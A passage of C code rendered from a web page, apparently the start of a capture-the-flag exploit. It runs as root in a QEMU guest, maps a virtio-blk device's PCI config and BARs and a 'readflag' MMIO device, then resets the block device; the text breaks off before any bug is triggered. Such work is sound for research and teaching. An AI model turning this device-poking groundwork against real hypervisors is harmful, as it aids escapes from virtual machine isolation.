class="line">469</span><br><span class="line">470</span><br><span class="line">471</span><br><span class="line">472</span><br><span class="line">473</span><br><span class="line">474</span><br><span class="line">475</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;stddef.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;unistd.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;fcntl.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;sys/mman.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;string.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;assert.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;stdint.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;sys/io.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;linux/stddef.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> u8 uint8_t</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> u16 uint16_t</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> u32 uint32_t</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> u64 uint64_t</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> le16 u16</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> le32 u32</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> le64 u64</span></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">virtio_pci_cap</span> &#123;</span></span><br><span class="line">    u8 cap_vndr;</span><br><span class="line">    u8 cap_next;</span><br><span class="line">    u8 cap_len;</span><br><span class="line">    u8 cfg_type;</span><br><span class="line">    u8 bar;</span><br><span class="line">    u8 id;</span><br><span class="line">    u8 padding[<span class="number">2</span>];</span><br><span class="line">    le32 offset;</span><br><span class="line">    le32 length;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">virtio_pci_common_cfg</span> &#123;</span></span><br><span class="line">    <span class="comment">/* About the whole device. */</span></span><br><span class="line">    le32 device_feature_select; <span class="comment">/* read-write */</span></span><br><span class="line">    le32 device_feature; <span class="comment">/* read-only for driver */</span></span><br><span class="line">    le32 driver_feature_select; <span class="comment">/* read-write */</span></span><br><span class="line">    le32 driver_feature; <span class="comment">/* read-write */</span></span><br><span class="line">    le16 config_msix_vector; <span class="comment">/* read-write */</span></span><br><span class="line">    le16 num_queues; <span class="comment">/* read-only for driver */</span></span><br><span class="line">    u8 device_status; <span class="comment">/* read-write */</span></span><br><span class="line">    u8 config_generation; <span class="comment">/* read-only for driver */</span></span><br><span class="line">    <span class="comment">/* About a specific virtqueue. */</span></span><br><span class="line">    le16 queue_select; <span class="comment">/* read-write */</span></span><br><span class="line">    le16 queue_size; <span class="comment">/* read-write */</span></span><br><span class="line">    le16 queue_msix_vector; <span class="comment">/* read-write */</span></span><br><span class="line">    le16 queue_enable; <span class="comment">/* read-write */</span></span><br><span class="line">    le16 queue_notify_off; <span class="comment">/* read-only for driver */</span></span><br><span class="line">    le64 queue_desc; <span class="comment">/* read-write */</span></span><br><span class="line">    le64 queue_driver; <span class="comment">/* read-write */</span></span><br><span class="line">    le64 queue_device; <span class="comment">/* read-write */</span></span><br><span class="line">    le16 queue_notify_data; <span class="comment">/* read-only for driver */</span></span><br><span class="line">    le16 queue_reset; <span class="comment">/* read-write */</span></span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">virtio_notify_cfg</span> &#123;</span></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">virtio_pci_cap</span> <span class="title">cap</span>;</span></span><br><span class="line">    le32 notify_off_multiplier;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">virtio_blk_config</span>&#123;</span></span><br><span class="line">    le64 capacity;</span><br><span class="line">    le32 size_max;</span><br><span class="line">    le32 seg_max;</span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">virtio_blk_geometry</span> &#123;</span></span><br><span class="line">        le16 cylinders;</span><br><span class="line">        u8 heads;</span><br><span class="line">        u8 sectors;</span><br><span class="line">    &#125; geometry;</span><br><span class="line">    le32 blk_size;</span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">virtio_blk_topology</span> &#123;</span></span><br><span class="line">        <span class="comment">// # of logical blocks per physical block (log2)</span></span><br><span class="line">        u8 physical_block_exp;</span><br><span class="line">        <span class="comment">// offset of first aligned logical block</span></span><br><span class="line">        u8 alignment_offset;</span><br><span class="line">        <span class="comment">// suggested minimum I/O size in blocks</span></span><br><span class="line">        le16 min_io_size;</span><br><span class="line">        <span class="comment">// optimal (suggested maximum) I/O size in blocks</span></span><br><span class="line">        le32 opt_io_size;</span><br><span class="line">    &#125; topology;</span><br><span class="line">    u8 writeback;</span><br><span class="line">    u8 unused0;</span><br><span class="line">    u16 num_queues;</span><br><span class="line">    le32 max_discard_sectors;</span><br><span class="line">    le32 max_discard_seg;</span><br><span class="line">    le32 discard_sector_alignment;</span><br><span class="line">    le32 max_write_zeroes_sectors;</span><br><span class="line">    le32 max_write_zeroes_seg;</span><br><span class="line">    u8 write_zeroes_may_unmap;</span><br><span class="line">    u8 unused1[<span class="number">3</span>];</span><br><span class="line">    le32 max_secure_erase_sectors;</span><br><span class="line">    le32 max_secure_erase_seg;</span><br><span class="line">    le32 secure_erase_sector_alignment;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">enum</span> <span class="title">virtio_pci_cfg_type</span>&#123;</span></span><br><span class="line">    VIRTIO_PCI_CAP_COMMON_CFG = <span class="number">0x1</span>,</span><br><span class="line">    VIRTIO_PCI_CAP_NOTIFY_CFG = <span class="number">0x2</span>,</span><br><span class="line">    VIRTIO_PCI_CAP_ISR_CFG = <span class="number">0x3</span>,</span><br><span class="line">    VIRTIO_PCI_CAP_DEVICE_CFG = <span class="number">0x4</span>,</span><br><span class="line">    VIRTIO_PCI_CAP_PCI_CFG = <span class="number">0x5</span>,</span><br><span class="line">    VIRTIO_PCI_CAP_SHARED_MEMORY = <span class="number">0x8</span>,</span><br><span class="line">    VIRTIO_PCI_CAP_VENDOR_CFG = <span class="number">0x9</span>,</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* Feature bits */</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTIO_BLK_F_SIZE_MAX1<span class="comment">/* Indicates maximum segment size */</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTIO_BLK_F_SEG_MAX2<span class="comment">/* Indicates maximum # of segments */</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTIO_BLK_F_GEOMETRY4<span class="comment">/* Legacy geometry available  */</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTIO_BLK_F_RO5<span class="comment">/* Disk is read-only */</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTIO_BLK_F_BLK_SIZE6<span class="comment">/* Block size of disk is available*/</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTIO_BLK_F_FLUSH9<span class="comment">/* Flush command supported */</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTIO_BLK_F_TOPOLOGY10<span class="comment">/* Topology information is available */</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTIO_BLK_F_MQ12<span class="comment">/* support more than one vq */</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTIO_BLK_F_DISCARD13<span class="comment">/* DISCARD is supported */</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTIO_BLK_F_WRITE_ZEROES14<span class="comment">/* WRITE ZEROES is supported */</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTIO_BLK_F_SECURE_ERASE16 <span class="comment">/* Secure Erase is supported */</span></span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* Status byte for guest to report progress, and synchronize features. */</span></span><br><span class="line"><span class="comment">/* We have seen device and processed generic fields (VIRTIO_CONFIG_F_VIRTIO) */</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTIO_CONFIG_S_ACKNOWLEDGE1</span></span><br><span class="line"><span class="comment">/* We have found a driver for the device. */</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTIO_CONFIG_S_DRIVER2</span></span><br><span class="line"><span class="comment">/* Driver has used its parts of the config, and is happy */</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTIO_CONFIG_S_DRIVER_OK4</span></span><br><span class="line"><span class="comment">/* Driver has finished configuring features */</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTIO_CONFIG_S_FEATURES_OK8</span></span><br><span class="line"><span class="comment">/* Device entered invalid state, driver must reset it */</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTIO_CONFIG_S_NEEDS_RESET0x40</span></span><br><span class="line"><span class="comment">/* We&#x27;ve given up on this device. */</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTIO_CONFIG_S_FAILED0x80</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTIO_QUEUE_SIZE 0x10</span></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">virtq_desc</span> &#123;</span></span><br><span class="line">    <span class="comment">/* Address (guest-physical). */</span></span><br><span class="line">    le64 addr;</span><br><span class="line">    <span class="comment">/* Length. */</span></span><br><span class="line">    le32 len;</span><br><span class="line"><span class="comment">/* This marks a buffer as continuing via the next field. */</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTQ_DESC_F_NEXT 1</span></span><br><span class="line"><span class="comment">/* This marks a buffer as device write-only (otherwise device read-only). */</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTQ_DESC_F_WRITE 2</span></span><br><span class="line"><span class="comment">/* This means the buffer contains a list of buffer descriptors. */</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTQ_DESC_F_INDIRECT 4</span></span><br><span class="line">    <span class="comment">/* The flags as indicated above. */</span></span><br><span class="line">    le16 flags;</span><br><span class="line">    <span class="comment">/* Next field if flags &amp; NEXT */</span></span><br><span class="line">    le16 next;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">virtq_avail</span> &#123;</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTQ_AVAIL_F_NO_INTERRUPT 1</span></span><br><span class="line">    le16 flags;</span><br><span class="line">    le16 idx;</span><br><span class="line">    le16 ring[VIRTIO_QUEUE_SIZE];</span><br><span class="line">    le16 used_event; <span class="comment">/* Only if VIRTIO_F_EVENT_IDX */</span></span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">virtq_used_elem</span> &#123;</span></span><br><span class="line">    <span class="comment">/* Index of start of used descriptor chain. */</span></span><br><span class="line">    le32 id;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/*</span></span><br><span class="line"><span class="comment">    * The number of bytes written into the device writable portion of</span></span><br><span class="line"><span class="comment">    * the buffer described by the descriptor chain.</span></span><br><span class="line"><span class="comment">    */</span></span><br><span class="line">    le32 len;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">virtq_used</span> &#123;</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTQ_USED_F_NO_NOTIFY 1</span></span><br><span class="line">    le16 flags;</span><br><span class="line">    le16 idx;</span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">virtq_used_elem</span> <span class="title">ring</span>[<span class="title">VIRTIO_QUEUE_SIZE</span>];</span></span><br><span class="line">    le16 avail_event; <span class="comment">/* Only if VIRTIO_F_EVENT_IDX */</span></span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">virtio_blk_req</span> &#123;</span></span><br><span class="line">    le32 type;</span><br><span class="line">    le32 reserved;</span><br><span class="line">    le64 sector;</span><br><span class="line">    u8 data[<span class="number">0</span>];</span><br><span class="line">    <span class="comment">// u8 status;</span></span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTIO_BLK_T_IN 0</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTIO_BLK_T_OUT 1</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTIO_BLK_T_FLUSH 4</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTIO_BLK_T_GET_ID 8</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTIO_BLK_T_GET_LIFETIME 10</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTIO_BLK_T_DISCARD 11</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTIO_BLK_T_WRITE_ZEROES 13</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTIO_BLK_T_SECURE_ERASE 14</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">print_cap</span><span class="params">(<span class="keyword">struct</span> virtio_pci_cap* cap)</span>&#123;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;cap_len: %x\n&quot;</span>, cap-&gt;cap_len);</span><br><span class="line">    <span class="keyword">switch</span>(cap-&gt;cfg_type)&#123;</span><br><span class="line">        <span class="keyword">case</span> VIRTIO_PCI_CAP_COMMON_CFG:</span><br><span class="line">            <span class="built_in">printf</span>(<span class="string">&quot;cfg_type: common\n&quot;</span>);</span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">        <span class="keyword">case</span> VIRTIO_PCI_CAP_NOTIFY_CFG:</span><br><span class="line">            <span class="built_in">printf</span>(<span class="string">&quot;cfg_type: notify\n&quot;</span>);</span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">        <span class="keyword">case</span> VIRTIO_PCI_CAP_ISR_CFG:</span><br><span class="line">            <span class="built_in">printf</span>(<span class="string">&quot;cfg_type: isr\n&quot;</span>);</span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">        <span class="keyword">case</span> VIRTIO_PCI_CAP_DEVICE_CFG:</span><br><span class="line">            <span class="built_in">printf</span>(<span class="string">&quot;cfg_type: device\n&quot;</span>);</span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">        <span class="keyword">case</span> VIRTIO_PCI_CAP_PCI_CFG:</span><br><span class="line">            <span class="built_in">printf</span>(<span class="string">&quot;cfg_type: pci\n&quot;</span>);</span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">        <span class="keyword">case</span> VIRTIO_PCI_CAP_SHARED_MEMORY:</span><br><span class="line">            <span class="built_in">printf</span>(<span class="string">&quot;cfg_type: shared memory\n&quot;</span>);</span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">        <span class="keyword">case</span> VIRTIO_PCI_CAP_VENDOR_CFG:</span><br><span class="line">            <span class="built_in">printf</span>(<span class="string">&quot;cfg_type: vendor\n&quot;</span>);</span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">        <span class="keyword">default</span>:</span><br><span class="line">            <span class="built_in">printf</span>(<span class="string">&quot;cfg_type: unknown\n&quot;</span>);</span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;bar: %x\n&quot;</span>, cap-&gt;bar);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;id: %x\n&quot;</span>, cap-&gt;id);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;offset: %x\n&quot;</span>, cap-&gt;offset);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;length: %x\n&quot;</span>, cap-&gt;length);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">ERR</span><span class="params">(<span class="type">const</span> <span class="type">char</span>* buf)</span>&#123;</span><br><span class="line">    perror(buf);</span><br><span class="line">    <span class="built_in">abort</span>();</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">LOG</span><span class="params">(<span class="type">const</span> <span class="type">char</span>* buf)</span>&#123;</span><br><span class="line">    write(<span class="number">2</span>, buf, <span class="built_in">strlen</span>(buf));</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">volatile</span> <span class="type">char</span>* readflag_mmio = <span class="literal">NULL</span>;</span><br><span class="line"><span class="keyword">volatile</span> <span class="type">char</span>* virtio_mmio = <span class="literal">NULL</span>;</span><br><span class="line"><span class="keyword">volatile</span> <span class="type">char</span>* virtio_common_mmio = <span class="literal">NULL</span>;</span><br><span class="line"><span class="keyword">volatile</span> <span class="class"><span class="keyword">struct</span> <span class="title">virtio_notify_cfg</span>* <span class="title">virtio_notify_mmio</span> =</span> <span class="literal">NULL</span>;</span><br><span class="line"><span class="keyword">volatile</span> <span class="type">char</span>* virtio_isr_mmio = <span class="literal">NULL</span>;</span><br><span class="line"><span class="keyword">volatile</span> <span class="type">char</span>* virtio_device_mmio = <span class="literal">NULL</span>;</span><br><span class="line"><span class="keyword">volatile</span> <span class="type">char</span>* dma_mem = <span class="literal">NULL</span>;</span><br><span class="line"><span class="keyword">volatile</span> <span class="type">char</span>* dma_data = <span class="literal">NULL</span>;</span><br><span class="line"><span class="keyword">volatile</span> <span class="class"><span class="keyword">struct</span> <span class="title">virtq_desc</span>* <span class="title">queue_desc</span> =</span> <span class="literal">NULL</span>;</span><br><span class="line"><span class="keyword">volatile</span> <span class="class"><span class="keyword">struct</span> <span class="title">virtq_avail</span>* <span class="title">queue_avail</span> =</span> <span class="literal">NULL</span>;</span><br><span class="line"><span class="keyword">volatile</span> <span class="class"><span class="keyword">struct</span> <span class="title">virtq_used</span>* <span class="title">queue_used</span> =</span> <span class="literal">NULL</span>;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">init_readflag</span><span class="params">()</span>&#123;</span><br><span class="line">    <span class="type">int</span> mmio_fd = open(<span class="string">&quot;/sys/devices/pci0000:00/0000:00:05.0/resource0&quot;</span>, O_RDWR | O_SYNC);</span><br><span class="line">    <span class="keyword">if</span>(mmio_fd &lt; <span class="number">0</span>)&#123;</span><br><span class="line">        ERR(<span class="string">&quot;Open readflag&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    readflag_mmio = mmap(<span class="number">0</span>, <span class="number">0x1000</span>, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, <span class="number">0</span>);</span><br><span class="line">    <span class="keyword">if</span>(readflag_mmio == (<span class="keyword">volatile</span> <span class="type">void</span>*)<span class="number">-1</span>)&#123;</span><br><span class="line">        ERR(<span class="string">&quot;mmap mmio_mem&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    close(mmio_fd);</span><br><span class="line"></span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;readflag init done&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">uint8_t</span> <span class="title function_">mmio_read8</span><span class="params">(<span class="type">void</span>* addr)</span>&#123;</span><br><span class="line">    <span class="keyword">return</span> *(<span class="keyword">volatile</span> <span class="type">uint8_t</span>*)addr;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">uint16_t</span> <span class="title function_">mmio_read16</span><span class="params">(<span class="type">void</span>* addr)</span>&#123;</span><br><span class="line">    <span class="keyword">return</span> *(<span class="keyword">volatile</span> <span class="type">uint16_t</span>*)addr;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">uint32_t</span> <span class="title function_">mmio_read32</span><span class="params">(<span class="type">void</span>* addr)</span>&#123;</span><br><span class="line">    <span class="keyword">return</span> *(<span class="keyword">volatile</span> <span class="type">uint32_t</span>*)addr;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">uint64_t</span> <span class="title function_">mmio_read64</span><span class="params">(<span class="type">void</span>* addr)</span>&#123;</span><br><span class="line">    <span class="keyword">return</span> *(<span class="keyword">volatile</span> <span class="type">uint64_t</span>*)addr;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">mmio_write8</span><span class="params">(<span class="type">void</span>* addr, <span class="type">uint8_t</span> val)</span>&#123;</span><br><span class="line">    *(<span class="keyword">volatile</span> <span class="type">uint8_t</span>*)addr = val;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">mmio_write16</span><span class="params">(<span class="type">void</span>* addr, <span class="type">uint16_t</span> val)</span>&#123;</span><br><span class="line">    *(<span class="keyword">volatile</span> <span class="type">uint16_t</span>*)addr = val;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">mmio_write32</span><span class="params">(<span class="type">void</span>* addr, <span class="type">uint32_t</span> val)</span>&#123;</span><br><span class="line">    *(<span class="keyword">volatile</span> <span class="type">uint32_t</span>*)addr = val;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">mmio_write64</span><span class="params">(<span class="type">void</span>* addr, <span class="type">uint64_t</span> val)</span>&#123;</span><br><span class="line">    *(<span class="keyword">volatile</span> <span class="type">uint64_t</span>*)addr = val;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">mb</span><span class="params">()</span>&#123;</span><br><span class="line">    <span class="keyword">asm</span> <span class="title function_">volatile</span><span class="params">(<span class="string">&quot;mfence&quot;</span>:::<span class="string">&quot;memory&quot;</span>)</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">init_virtio</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="type">int</span> fd = open(<span class="string">&quot;/sys/devices/pci0000:00/0000:00:04.0/config&quot;</span>, O_RDONLY);</span><br><span class="line">    <span class="keyword">if</span>(fd &lt; <span class="number">0</span>)&#123;</span><br><span class="line">        ERR(<span class="string">&quot;Open virtio config&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">virtio_pci_cap</span> <span class="title">cap</span>;</span></span><br><span class="line">    <span class="type">char</span>* config = <span class="built_in">malloc</span>(<span class="number">0x1000</span>);</span><br><span class="line">    <span class="type">int</span> bytes_read = read(fd, config, <span class="number">0x1000</span>);</span><br><span class="line">    <span class="keyword">if</span>(bytes_read &lt; <span class="number">0</span>)&#123;</span><br><span class="line">        ERR(<span class="string">&quot;Read virtio config&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    fd = open(<span class="string">&quot;/sys/devices/pci0000:00/0000:00:04.0/resource4&quot;</span>, O_RDWR | O_SYNC);</span><br><span class="line">    <span class="keyword">if</span>(fd &lt; <span class="number">0</span>)&#123;</span><br><span class="line">        ERR(<span class="string">&quot;Open virtio resource4&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    virtio_mmio = mmap(<span class="number">0</span>, <span class="number">0x4000</span>, PROT_READ | PROT_WRITE, MAP_SHARED, fd, <span class="number">0</span>);</span><br><span class="line">    <span class="keyword">if</span>(virtio_mmio == (<span class="keyword">volatile</span> <span class="type">void</span>*)<span class="number">-1</span>)&#123;</span><br><span class="line">        ERR(<span class="string">&quot;mmap virtio mem&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    close(fd);</span><br><span class="line"></span><br><span class="line">    u8 cap_ptr = *(u8*)(config+<span class="number">0x34</span>);</span><br><span class="line">    <span class="keyword">while</span>(cap_ptr != <span class="number">0</span>)&#123;</span><br><span class="line">        <span class="keyword">if</span>(config[cap_ptr] != <span class="number">0x9</span>)&#123;</span><br><span class="line">            cap_ptr = *(u8*)(config+cap_ptr+<span class="number">1</span>);</span><br><span class="line">            <span class="keyword">continue</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="built_in">memcpy</span>(&amp;cap, config+cap_ptr, <span class="keyword">sizeof</span>(cap));</span><br><span class="line">        print_cap(&amp;cap);</span><br><span class="line">        <span class="keyword">switch</span>(cap.cfg_type)&#123;</span><br><span class="line">            <span class="keyword">case</span> VIRTIO_PCI_CAP_COMMON_CFG:</span><br><span class="line">                virtio_common_mmio = virtio_mmio + cap.offset;</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line">            <span class="keyword">case</span> VIRTIO_PCI_CAP_NOTIFY_CFG:</span><br><span class="line">                virtio_notify_mmio = (<span class="keyword">struct</span> virtio_notify_cfg*)((<span class="type">size_t</span>)virtio_mmio + cap.offset);</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line">            <span class="keyword">case</span> VIRTIO_PCI_CAP_ISR_CFG:</span><br><span class="line">                virtio_isr_mmio = virtio_mmio + cap.offset;</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line">            <span class="keyword">case</span> VIRTIO_PCI_CAP_DEVICE_CFG:</span><br><span class="line">                virtio_device_mmio = virtio_mmio + cap.offset;</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line">            <span class="keyword">default</span>:</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line">        &#125;       </span><br><span class="line">        cap_ptr = cap.cap_next;</span><br><span class="line">    &#125;</span><br><span class="line">    close(fd);</span><br><span class="line">    <span class="built_in">free</span>(config);</span><br><span class="line"></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">virtio_pci_common_cfg</span>* <span class="title">common_cfg</span> =</span> (<span class="keyword">struct</span> virtio_pci_common_cfg*)virtio_common_mmio;</span><br><span class="line">    mmio_write32(&amp;common_cfg-&gt;device_feature_select, <span class="number">0</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;device_feature[0]: %x\n&quot;</span>, mmio_read32(&amp;common_cfg-&gt;device_feature));</span><br><span class="line">    mmio_write32(&amp;common_cfg-&gt;device_feature_select, <span class="number">1</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;device_feature[1]: %x\n&quot;</span>, mmio_read32(&amp;common_cfg-&gt;device_feature));</span><br><span class="line">    mmio_write32(&amp;common_cfg-&gt;driver_feature_select, <span class="number">0</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;driver_feature[0]: %x\n&quot;</span>, mmio_read32(&amp;common_cfg-&gt;driver_feature));</span><br><span class="line">    mmio_write32(&amp;common_cfg-&gt;driver_feature_select, <span class="number">1</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;driver_feature[1]: %x\n&quot;</span>, mmio_read32(&amp;common_cfg-&gt;driver_feature));</span><br><span class="line"></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">virtio_blk_config</span>* <span class="title">blk_cfg</span> =</span> (<span class="keyword">struct</span> virtio_blk_config*)virtio_device_mmio;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;capacity: %lx\n&quot;</span>, mmio_read64(&amp;blk_cfg-&gt;capacity));</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;size_max: %x\n&quot;</span>, mmio_read32(&amp;blk_cfg-&gt;size_max));</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;seg_max: %x\n&quot;</span>, mmio_read32(&amp;blk_cfg-&gt;seg_max));</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;geometry.cylinders: %x\n&quot;</span>, mmio_read16(&amp;blk_cfg-&gt;geometry.cylinders));</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;geometry.heads: %x\n&quot;</span>, mmio_read8(&amp;blk_cfg-&gt;geometry.heads));</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;geometry.sectors: %x\n&quot;</span>, mmio_read8(&amp;blk_cfg-&gt;geometry.sectors));</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;blk_size: %x\n&quot;</span>, mmio_read32(&amp;blk_cfg-&gt;blk_size));</span><br><span class="line"></span><br><span class="line">    <span class="comment">// reset device</span></span><br><span class="line">    mmio_write8(&amp;common_cfg-&gt;device_status, <span class="number">0</span>);</span><br><span class="line">    mmio_write8(&amp;common_cfg-&gt;device_status, VIRTIO_CONFIG_S_ACKNOWLEDGE);</span><br><span class="line">    mmio_write8(&amp;common_cfg-&gt;device_status, VIRTIO_CONFIG_S_DRIVER | VIRTIO_CONFIG_S_ACKNOWLEDGE);</span><br><span class="line">    mmio_write32(&amp;common_cfg-&gt;driver_feature_select, <span class="number">0</span>);</span><br><span class="line">    mmio_write32(&amp;common_cfg-&gt;driver_feature, <span class="number">0</span>); <span class="comment">// disable all features</span></span><br><span class="line">    mmio_write8(&amp;common_cfg-&gt;device_status, 